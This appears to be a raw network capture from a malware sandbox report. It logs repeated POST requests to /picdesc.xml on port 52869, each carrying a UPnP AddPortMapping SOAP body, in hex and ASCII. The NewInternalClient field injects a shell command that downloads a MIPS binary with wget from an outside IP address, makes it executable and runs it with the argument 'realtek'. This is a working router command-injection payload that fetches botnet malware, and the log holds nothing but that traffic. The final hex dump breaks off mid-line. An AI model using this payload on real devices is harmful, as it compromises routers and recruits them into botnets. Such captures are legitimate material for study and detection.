                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:44.953478098 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:46.201512098 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:48.793395042 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:53.913203955 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:03.897027969 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:25.656305075 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:06.615108967 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 